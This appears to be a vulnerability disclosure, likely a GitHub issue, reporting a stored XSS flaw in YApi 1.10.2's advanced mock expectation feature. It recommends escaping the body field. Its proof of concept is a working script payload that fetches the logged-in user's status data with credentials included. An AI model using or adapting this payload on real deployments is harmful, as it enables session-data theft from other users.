Summary

A stored XSS vulnerability exists in Yapi 1.10.2 (2021-10-13) which allows attackers to execute arbitrary HTML code.

Details

In the advanced expectation, the user can execute any html code, which is not allowed because of the same origin relationship, we can attack any user present on the system through the vulnerability. Therefore, the ideal solution is to filter and escape the user-defined body field.

POC

Register and log in to your account, create a project, and add an interface.
Choose "Advanced Expectation - Response."

Modify the body to:

<!DOCTYPE html>
<script>
fetch('https://your-ip/api/user/status', {
        method: "GET",
        headers: {
            "Accept": "application/json"
        },
        credentials: 'include'
    })
    .then(response => response.json())
    .then(data => {
        alert(JSON.stringify(data));
    })
    .catch(err => {
        console.error('Error:', err);
        alert('Occured an error while fetching data');
    });
</script>

Visit your Api Url, such as https://localhost/mock/4089/test

Hebing123 / cve

yapi 1.10.2 (2021-10-13) has a stored XSS vulnerability #40

Summary

Details

POC